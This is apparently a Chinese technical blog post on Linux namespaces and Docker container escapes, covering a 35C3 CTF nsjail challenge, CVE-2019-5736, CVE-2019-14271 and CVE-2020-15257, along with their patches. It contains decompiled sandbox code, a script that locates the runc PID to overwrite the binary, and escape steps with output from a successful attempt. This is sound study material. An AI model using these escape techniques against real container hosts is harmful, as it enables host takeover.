namespace的进一步的学习认知及docker逃逸

Docker容器逃逸:从隔离原理到实战防御的完整指南 容器技术通过Linux内核的Namespaces、Cgroups、Capabilities等机制实现进程和资源的隔离,其核心价值在于为应用提供轻量级、可移植的运行环境。理解这些底层原理是构建安全容器化体系的基础。在工程实践中,不当配置或内核漏洞可能破坏隔离边界,导致容器逃逸,攻击者可借此控制宿主机,威胁整个基础设施安全。本文聚焦Docker逃逸这一关键容器安全议题,深入剖析特权模式、Capabilities滥用等常见风险场景,并基于热词“Docker逃逸”和“容器安全”提供体系化的防御策略与最佳实践,帮助开 阅读详情

35C3 CTF

这里参照了https://www.secrss.com/articles/15269
题目大体意思是,利用nsjail创建沙箱nsa,映射了user到root的ns空间权限。/tmp/flag被以只读挂载到/flag, procfs挂载到读写。原因就是,子ns空间对文件的操作需要重新挂载文件,但权限只能是父进程ns的资源。也就是说,新的沙箱其实可以访问 /flag文件。 但之后有个namespace的文件,执行后会将新进程加入到nsa,并降低了权限到1。

[lier@localhost ~]$ ls /proc/pid/ns/
ipc   mnt   net   pid   user  uts  

但是缺少了net ns。也就是说,此时加入的新进程由于在沙箱内不是root权限,而无法访问/flag。
start_sandbox 会接受一个init程序,chroot 到/tmp/chroots/%ld,然后以降权的权限执行。

//start_sandbox
v0 = socketpair(1, 1, 0, fds);
  check(v0, (__int64)"socketpair");
  v8 = new_proc(v0, "socketpair");   //创建新进程
  if ( !v8 )
  {
    close(fds[0]);
    write(fds[1], "1", 2uLL);
    wait_for((unsigned int)fds[1], "2");
    puts("Please send me an init ELF.");
    v1 = load_elf();
    *(_QWORD *)s = 0LL;
    v14 = 0LL;
    memset(&v15, 0, 0xFF0uLL);
    snprintf(s, 0x1000uLL, "/tmp/chroots/%ld", v9 - sandboxes);
    printf("[*] Creating chroot dir \"%s\"\n", s);
    mk_chroot_dir(s);
    printf("[*] Chrooting to \"%s\"\n", s);
    v2 = chroot(s);
    check(v2, (__int64)"chroot");
    v3 = chdir("/");
    check(v3, (__int64)"chdir");
    puts("[*] changing group ids");
    v4 = setresgid(1u, 1u, 1u);
    check(v4, (__int64)"setresgid");
    puts("[*] changing user ids");
    v5 = setresuid(1u, 1u, 1u);
    check(v5, (__int64)"setresuid");
    write(fds[1], "3", 3uLL);
    close(fds[1]);
    puts("[*] starting init");
    v11 = "init";
    v12 = 0LL;
    execveat(v1, &unk_210F, &v11, 0LL, 4096LL);
    _exit(1);
  }
  close(fds[1]);
  wait_for((unsigned int)fds[0], "1");
  puts("[*] setgroups deny");
  write_proc(v8, "setgroups", "deny");
  puts("[*] writing uid_map");
  write_proc(v8, "uid_map", "1 1 1");
  puts("[*] writing gid_map");
  write_proc(v8, "gid_map", "1 1 1");
  write(fds[0], "2", 2uLL);
  wait_for((unsigned int)fds[0], "3");
  close(fds[0]);
  *v9 = v8;
  return __readfsqword(0x28u) ^ v16;
unsigned __int64 run_elf()
{
  __pid_t v0; // eax
  unsigned int v2; // [rsp+8h] [rbp-38h]
  unsigned int fd; // [rsp+10h] [rbp-30h]
  char *v4; // [rsp+18h] [rbp-28h]
  const char *v5; // [rsp+20h] [rbp-20h]
  __int64 v6; // [rsp+28h] [rbp-18h]
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  v4 = get_sandbox();
  v2 = *(_DWORD *)v4;
  fd = load_elf();
  v0 = fork();
  if ( !(unsigned int)check(v0, (__int64)"fork") )
  {
    change_ns(v2, (v4 - (char *)sandboxes) >> 2);  //这里会降权,并以子进程的形式出来运行。
    v5 = "bin";
    v6 = 0LL;
    execveat(fd, &unk_210F, &v5, 0LL, 4096LL);
    _exit(1);
  }
  close(fd);
  return __readfsqword(0x28u) ^ v7;
}

漏洞:
由于加入的新进程没有net ns的限制,所以,进程之间可以通过net访问。所以造成了直接和user用户进程交互,形成逃逸。
问题是找一个能读flag的进程通信,才是重点。但沙箱内进程uid==1,显然不具条件。
这里又构造了init创造了子进程,说是挂载/tmp/chroots/到/proc/init_/ns,创建了/proc/init_/ns的链接到/proc/init_fork/ns,所以,加入到init的ns,其实是加入到了init_fork进程的ns。(这里没试,不知这个子进程能不能在这里挂载和创建链接)。

最终的效果这个样子:
在这里插入图片描述

在这里插入图片描述
现在只要沙盒三中的elf被阻止降权,然后读取/tmp/flag就可以了。
(修改pid命名空间只在子进程生效。)

我感觉最大的问题在于三个沙盒运行在同一个命名空间中,导致单独的/tmp/chroot/%ld目录对于进程的隔离能力被突破。

直接看下poc吧,https://github.com/LevitatingLion/ctf-writeups/tree/master/35c3ctf/pwn_namespaces

CVE-2019-5736/

据说这个洞是由上面的题解题思路触发的,但其实还是不太一样的。
这里是想办法找到父命名空间父进程的runc的pid,之后利用/proc/${runc_pid}/exe链接覆盖该文件。当docker exec再次执行的时候,将会触发沙盒逃逸。

找到runc的pid

#!/bin/bash_original
echo "[+] Waiting for runC to be executed in the container..."

runc_pid=$(ps axf | grep /proc/self/exe | grep -v grep | awk '{print $1}')

# Wait for /proc/self/exe to be executed
while [ -z "$runc_pid" ] 
do
    runc_pid=$(ps axf | grep /proc/self/exe | grep -v grep | awk '{print $1}')
done

# Call overwrite_runc with the symlink to the runC binary
./overwrite_runc /proc/${runc_pid}/exe

首先我们不知道父进程的pid,但是docker exec会执行容器内部通过 runc exec执行容器内的/bin/bash,
根据poc,这里先 利用 echo "#!/proc/self/exec " > /bin/bash 欺骗runc,runc将会在容器内再次执行runc.

而期间容器内如果早已启动上述脚本,就可以获得runc 的pid.
找到pid后就可以复写/proc/${run_pid}/exe

根据magic_link的原理,直接打开/proc/run_pid/exe将可以覆写容器外的runc文件(因为不受mns限制),覆盖成功后,当exec再次执行,恶意runc将会被执行,实现容器逃逸。

补丁:
根本原因是magic-link不受mns限制。一旦获取将可以覆写容器外文件,修复方式是通过增加匿名文件,使runc在容器内执行之前先复制出匿名文件,利用匿名文件执行命令,那么就可以阻断上述利用方式。

参考:
https://github.com/twistlock/RunC-CVE-2019-5736
https://github.com/LevitatingLion/ctf-writeups/tree/master/35c3ctf/pwn_namespaces

二、Docker cp容器逃逸漏洞 -CVE-2019-14271

lier@lier-virtual-machine:~/attack$ sudo apt-get install docker-ce=5:19.03.03-0ubuntu-xenial docker-ce-cli=5:19.03.03-0ubuntu-xenial containerd.io

sudo apt-get install docker-ce=5:19.03.03-0ubuntu-bionic docker-ce-cli=5:19.03.03-0ubuntu-bionic containerd.io

漏洞成因是由于,docker cp 进行拷贝的时候,将 docker-tar 此进程先 chroot 到容器内,然而此时使用的 so 文件也是容器内的,而 docker-tar 进程本身没有容器化,意味着仍然拥有高权限,所以此时如果容器内的 so 被恶意篡改,那么可能造成 docker 容器逃逸

https://bestwing.me/CVE-2019-14271-docker-escape.html

lier@lier-virtual-machine:~/attack$ docker cp cve-2019-14271:/var/log ./logs
lier@lier-virtual-machine:~/attack$ ls /tmp/
hack VMwareDnD
systemd-private-e51ab0ce9040447795820a51c017ecb0-colord.service-VjVkte vmware-root
systemd-private-e51ab0ce9040447795820a51c017ecb0-rtkit-daemon.service-BQDHGf vmware-root_1715-1815481160
systemd-private-e51ab0ce9040447795820a51c017ecb0-systemd-timesyncd.service-yrCZcW
lier@lier-virtual-machine:~/attack$ cat /tmp/hack
hack by chaitin
lier@lier-virtual-machine:~/attack$

root@1ed0b3f1d5f6:/# ls
bin breakout etc host_fs lib64 mnt proc run srv tmp var
boot dev home lib media opt root sbin sys usr ‘’$’\342\200\250’
root@1ed0b3f1d5f6:/# ls host_fs/
bin cdrom etc home lib lib64 lost+found mnt proc run snap sys usr vmlinuz
boot dev hardtmp initrd.img lib32 libx32 media opt root sbin srv tmp var vmware-root
root@1ed0b3f1d5f6:/#

攻击成功

防护思路

阻止docker-tar 加载名字空间的库。

补丁的话是增加了libnss 主机库libnss的预加载。

pkg/chrootarchive/archive.go
func init() {
// initialize nss libraries in Glibc so that the dynamic libraries are loaded in the host
// environment not in the chroot from untrusted files.
_, _ = user.Lookup(“docker”)
_, _ = net.LookupHost(“localhost”)
}

// NewArchiver returns a new Archiver which uses chrootarchive.Untar
func NewArchiver(idMapping *idtools.IdentityMapping) *archive.Archiver {
if idMapping == nil {

三、CVE-2020-15257【host下利用containerd-shim API逃逸docker】

contianerd-shim 使用抽象域名套接字,但当docker使用–network=host参数共享主机网络空间时,内部进程就可以越权访问containerd服务,造成逃逸

抽象域名套接字不受mnt 命名空间限制,只受网络命名空间约束

补丁:
更改抽象域名套接字为普通文件套接字通信

内核防护方案:
限制中间组件被容器内部进程的访问

docker服务拆分成了4个独立的模块:Docker Daemon、containerd、containerd-shim、runC
https://bbs.pediy.com/thread-263955.htm#msg_header_h1_2

Docker逃逸原理与防御实战:从容器隔离到进程泄露处置 容器技术通过命名空间、控制组和能力机制实现进程与资源的隔离,为应用部署提供了轻量级虚拟化解决方案。其核心价值在于提升环境一致性、资源利用率和部署效率,广泛应用于微服务架构、持续集成和云原生场景。然而,容器与宿主机共享内核的特性也带来了安全挑战,不当配置或内核漏洞可能导致隔离边界被突破。本文聚焦Docker逃逸这一核心风险,深入解析特权模式、Docker Socket挂载等常见攻击向量,并针对容器内Shell进程泄露这一具体场景,提供从检测、清理到加固的完整实践方案,帮助构建纵深防御体系。 阅读详情

相关推荐

nsjail:一个轻量级的进程隔离工具,利用Linux名称空间和seccomp-bpf syscall过滤器(借助kafel bpf语言)

nsjail:一个轻量级的进程隔离工具,利用Linux名称空间和seccomp-bpf syscall过滤器(借助kafel bpf语言)

ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞(CVE-2015-1427)测试环境

漏洞背景 CVE-2014-3120后,ElasticSearch默认的动态脚本语言换成了Groovy,并增加了沙盒,但默认仍然支持直接执行动态语言。本漏洞:1.是一个沙盒绕过; 2.是一个Goovy代码执行漏洞。 漏洞复现 由于查询时至少要求es中有一条数据,所以发送如下数据包,增加一个数据: POST /website/blog/ HTTP/1.1 Host: your-ip:9200 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (co

EC_Carrot的博客 504

ctf_nsjail:基于nsjail的CTF竞赛Docker环境

CTF竞赛中的Docker环境 同时适用于解题、攻防竞赛 配置 将源代码文件或二进制文件放入bin目录,最终会编译成二进制,并拷入/home/ctf/challenge目录内。 flag位于/home/ctf/flag内,注意更新flag。 因赛题名不同,注意同时更新nsjail.cfg内的exec_bin和rerun.sh内的重启命令。 登录后,在本地监听9999端口,可扣1重启服务。 echo 1 | nc localhost 9999 注意: 因nsjail所需,Docker环境需要--privileged权限,docker-compose.yml文件内已写。 请重新初始化ctf用户的密码,并添加公钥。 请根据需求配置nsjail.cfg。 一键运行 docker-compose up 特点 把CTF攻防比赛放进Docker容器,降低运维成本。 使用,自动对抗通防机制,当前黑名单禁用

容器基础(二): 使用Namespace进行边界隔离

Linux Namespace 容器技术可以认为是一种沙盒(sandbox), 为了实现沙盒/容器/应用间的隔离,就需要一种技术来对容器界定边界,从而让容器不至于互相干扰。当前使用的技术就是Namespace。Namespace定义如下: Namespace是Linux 内核用来隔离内核资源的方式, 是对全局系统资源的一种封装隔离,使得处于不同namespace的进程拥有独立的全局系...

dnet30833的博客 318

T-Box功能详解及应用

T - BOX,其全称为 Telematics Box,作为远程 / 车载通信模块,是一款集车身网络与无线通讯功能于一体的智能终端设备。它充当了多媒体车机与 TSP(汽车远程服务提供商)以及互联网之间的无线路由器角色,为用户创造了远程访问的可能。用户借助T - BOX能够对车辆配备的各个 ECU(电子控制单元)进行远程操控,包括远程启动或停止发动机开启或关闭空调天窗后备箱门车门,以及实现闪灯鸣笛等功能。

wgl110110的博客 5640

PSINS工具箱15状态组合导航仿真程序(test_SINS_GPS_153)浅析-卡尔曼滤波设置+导航解算

文章目录test_SINS_GPS_153源码poserrsetkfinitgabiaskfupdate流程 test_SINS_GPS_153源码 poserrset function poserr = poserrset(dpos0, dlon, dhgt) % position errors dpos=[dlat;dlon;dhgt] setting. % % Prototype: poserr = poserrset(dpos0) % Input: dpos0=[dlat; dlon; dhgt],

十八与她的博客 2160

CVE-2019-5736docker容器逃逸漏洞复现

容器逃逸是指这样一种过程和结果:首先,攻击者通过劫持容器化业务逻辑,或直接控制(Caas等合法获得容器控制权的场景)等方式,已经获得了容器内某种权限下的命令执行能力;攻击者利用这种命令执行能力,借助一些手段进一步获得该容器所在直接宿主机(常见到“物理机运行虚拟机,虚拟机运行容器”的场景,该场景下的直接宿主机指容器外层的虚拟机)上某种权限下的命令执行能力。如果出现以下报错可能是网络的问题,换一个网络即可(我当时用的是公司的网,所以报错,换成自己的网络就好了),然后重新执行以上命令即可。

dirich的博客 594

冒险岛脚本函数大全:cm.sendYesNo和cm.warp的20个实战用法

本文深入解析了冒险岛脚本中cm.sendYesNo和cm.warp两个核心函数的20个实战应用场景。从基础的确认对话框交互、条件判断,到复杂的装备强化系统、动态传送与副本入口逻辑,文章通过大量代码示例展示了如何组合运用这两个函数,实现从简单NPC到复杂任务系统的进阶脚本开发,并分享了状态管理、错误处理与性能优化等最佳实践。

t4y5u6i7o的博客 1060

一次Docker逃逸引起域控权限的丢失

整个靶场环境一共五个靶机,分别位于三层网络环境中:网络拓扑如下:DMZ区IP段为192.168.1.0/24第二层网络环境IP段为192.168.52.1/24第三层网络环境IP段为192.168.93.1/24。

qq_53058639的博客 251

使用STC15F104W产生PWM脉冲

最近的小项目中使用到了STC15F104W产生PWM脉冲

yeats1989的专栏 1万+

Ubuntu20.04实时内核补丁PREEMPT_RT编译与安装全流程解析

本文详细解析了在Ubuntu20.04系统上编译与安装实时内核补丁PREEMPT_RT的全流程。从内核与补丁版本匹配、编译环境准备,到内核配置、编译排错,再到最终安装、验证与进阶优化,提供了手把手的实战指南,旨在帮助机器人、工业控制等对实时性有苛刻要求的开发者构建低延迟、高确定性的Linux系统。

weixin_29213827的博客 186

探索NSJail:Google的轻量级沙箱隔离解决方案

是一个由Google开发的开源项目,它提供了一个安全、可配置的环境来进行进程隔离。基于Linux namespaces和cgroups(控制组)技术,NSJail允许用户在不信任的代码或潜在恶意程序执行时,为其创建一个受限且隔离的执行环境。 ## 项目简介 NSJail的核心思想是将进程放入一个独立的命名空间中,使得这些进程无法访问系统的关键资源,如文件系统、网络、用户ID等。通过这种方式,即...

gitblog_00006的博客 1009

浅谈专项测试之弱网络测试

浅谈专项测试之弱网络测试 一.弱网络测试背景 移动端产品的使用并非完全都是在流畅的wifi环境,大部分用户主要使用4G,3G,2G等网络,另外因为移动端产品使用的场景多变,如进公交,上地铁,坐电梯,使得弱网测试显得尤为重要。考虑到各种场景的客户端展示及容错,提升产品的印象和用户体验,提高产品的健壮性,弱网测试必不可少。 二.弱网络测试建议 网下需要进行功能点测试,无网络测试,网络切换测试等,测试过程除了关注功能点的实现,还应关注用户体验等各个方面 三.弱网络测试通用功能点总结 四.弱网络测试用例实例

ITstudy001的博客 1011

Docker容器逃逸

Docker容器逃逸也算是提权的一种手法,要更好的理解容器逃逸的手法,应该知道从本质上看容器内的进程只是一个受限的普通 Linux 进程,而容器逃逸的过程我们完全可以将其理解为在一个受限进程中进行一些操作来获取未受限的完整权限,或者是在原本受 Cgroup/Namespace 限制权限的进程获取更多权限.Docker是时下使用范围最广的开源容器技术之一,具有高效易用等优点。由于设计的原因,Docker天生就带有强大的安全性,甚至比虚拟机都要更安全,但Docker也会被攻破。

m0_74120645的博客 1866

Windows下构建ImGui.Net

工具 Visual Studio 2017 操作 下载项目 git clone https://github.com/mellinoe/ImGui.NET.git 编译 右键以下两个项目并调试: ImGui.NET.SampleProgram ImGui.NET.SampleProgram.XNA Error fix 中间遇到一些问题: SDK版本不对 去微软官网下载安装对应版本 由于设置了代理被远程服务器拒绝连接 关闭代理(也许在环境变量中) nuget源无对应资源,404 NOT FOUN

jojozym的博客 1488

软件需求规格说明书(SRS)深入解析

摘要: SRS(软件需求规格说明书)是定义系统功能、性能与接口的核心文档,为开发、测试、项目管理提供依据。标准结构包括引言、总体描述、功能/非功能需求、接口等模块。撰写需确保清晰、可验证、无歧义,避免模糊术语。示例展示学生注册模块的需求写法,强调性能与安全性要求。推荐使用Confluence、StarUML等工具辅助编写,交付时需包含主文档、原型图及需求跟踪矩阵。SRS应兼具技术性与管理性,作为沟通桥梁和验收标准。

moton2017的博客 2926

黑进宿主机只需一步?你必须掌握的 Docker 逃逸术

本文系统介绍了Docker容器逃逸的技术原理、常见攻击方法和防御建议。主要内容包括:容器逃逸的基本概念,即突破容器隔离机制获取宿主机权限;核心原理分析,重点讲解了Linux Namespace、Cgroups和Capabilities等隔离机制;多种逃逸方法详述,如特权模式滥用、挂载Docker Socket、procfs逃逸等技术;环境检测手段,帮助判断当前是否处于容器环境;防御建议,强调合理配置容器权限和网络隔离。文章提供了详细的技术分析和复现步骤,旨在帮助安全研究人员深入理解容器安全机制,同时强调所有

2301_77091612的博客 2189

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

docker逃逸总结

CVE-2019-5736 是 runC 的 CVE 漏洞编号,runC 最初是作为 Docker 的一部分开发的,后来作为一个单独的开源工具和库被提取出来,在 docker 整个架构的运行过程中,Containerd 向 docker 提供运行容器的 API,二者通过 grpc 进行交互。使用特权模式启动的容器时,docker 管理员可通过 mount 命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。之间的任何内容都将用作ref。

2401_88752684的博客 1187

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

深入Docker核心技术:从Namespace到容器逃逸防御

Docker的技术魅力在于其精巧的内核级资源调度能力。随着容器技术的持续进化,深入理解其底层机制将成为架构师的必备技能。在享受容器化便利的同时,我们更需要以敬畏之心对待每个生产参数的配置。延伸阅读Linux Namespace内核源码分析(kernel.org)Cilium容器网络实现原理containerd架构设计白皮书这篇文章从内核机制到生产实践,全面剖析了Docker的核心技术,适合具备Linux基础的开发者深入阅读。如需特定方向的扩展探讨,欢迎在评论区留言交流。

whl 博客专栏 1401

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

Docker容器隔离与逃逸机制解析:从namespace到hypervisor安全边界

容器隔离依赖namespace、cgroup和capabilities等Linux内核机制,但namespace并非安全边界,配置不当或内核CVE漏洞可能导致容器逃逸。理解这些底层原理,有助于在CI/CD、多租户环境等场景中正确评估沙箱安全性。通过合理裁剪capabilities、启用USER namespace、限制危险挂载,并结合gVisor或Kata Containers等更强隔离方案,可有效收窄攻击面。

weixin_30647423的博客 277

Docker 容器安全基础,常见容器逃逸风险

随着云原生、微服务普及,Docker 容器已经成为 DevOps、业务交付最主流载体。容器是轻量级虚拟机。实际上容器并不是虚拟机。虚拟机拥有独立完整内核,而 Docker 容器本质是宿主机上一组被 Linux 内核 Namespace、Cgroups 隔离限制的进程,所有容器共享宿主机 Linux 内核。这个底层差异,决定了容器安全模型和虚拟机完全不同。虚拟机逃逸难度极高;而容器一旦隔离边界被破坏,攻击者拿到容器内 root 权限,就有可能直接突破沙箱,获取宿主机 root 权限,也就是容器逃逸。

Cairo_A的博客 226

云安全 · 03 · Docker 逃逸实战

容器逃逸:容器内进程突破隔离,访问/控制宿主机或其他容器。类型成因举例配置型逃逸启动参数给了过高权限、挂载--pid=host内核型逃逸内核/内核子系统漏洞运行时型逃逸容器运行时漏洞本篇重点是可稳定复现的“配置型逃逸”,因为真实事故里它最常见。审计容器启动参数:任何、挂载都是高危,应告警。监控逃逸行为:容器内出现nsenter、写mount块设备等。镜像与运行时扫描:Trivy、Falco(运行时行为检测)。云审计日志。

2303_82039857的博客 352

22岁精神小伙居然利用 Linux 内核漏洞实现 Docker 逃逸!!

1 前言 Docker是时下使用范围最广的开源容器技术之一,具有高效易用等优点。由于设计的原因,Docker天生就带有强大的安全性,甚至比虚拟机都要更安全,但如此的Docker也会被人攻破,Docker逃逸所造成的影响之大几乎席卷了全球的Docker容器。 下面是网上找的一张docker的架构图。 近些年,Docker逃逸所利用的漏洞大部分都发生在shim和runc上,每一次出现相关漏洞都能引起相当大的关注。 除了Docker本身组件的漏洞可以进行Docker逃逸之外,Linux内核漏洞也.

MachineGunJoe666 809
上一篇: 文件系统和块设备驱动
下一篇: intel 虚拟化手册解读
inquisiter
博客等级 码龄10年 374粉丝 228原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值